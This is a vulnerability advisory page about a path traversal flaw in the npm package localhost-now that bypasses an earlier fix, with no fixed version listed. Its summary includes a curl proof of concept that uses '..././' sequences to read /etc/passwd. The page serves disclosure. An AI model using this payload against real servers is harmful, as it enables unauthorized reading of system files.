Path Traversal in localhost-now
Priority LOW 38CWE-22Published · Updated
Key facts
- Attack vector
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- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
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- Confidentiality · integrity · availability
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- Fix status
- No fix listed
No CVSS vector from any source. Fix status from GitHub.
Summary
All versions of `localhost-now` are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2 Proof of concept: ``` $ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd" ``` ## Recommendation No fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.
Why it matters now
Fix No fix listed No fixed version in the sources yet
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | localhost-now (npm) | up to 1.0.2 | — | No fix listed | GHSA-73cw-jxmm-qpgh |
- localhost-now (npm) Vendor— Affected up to 1.0.2 Fixed in — No fix listed GHSA-73cw-jxmm-qpgh
Remediation
No fixed version listed by the sources yet.
Timeline
- 2026-10-03 Threatist record created from GHSA-73cw-jxmm-qpgh
References
Sources
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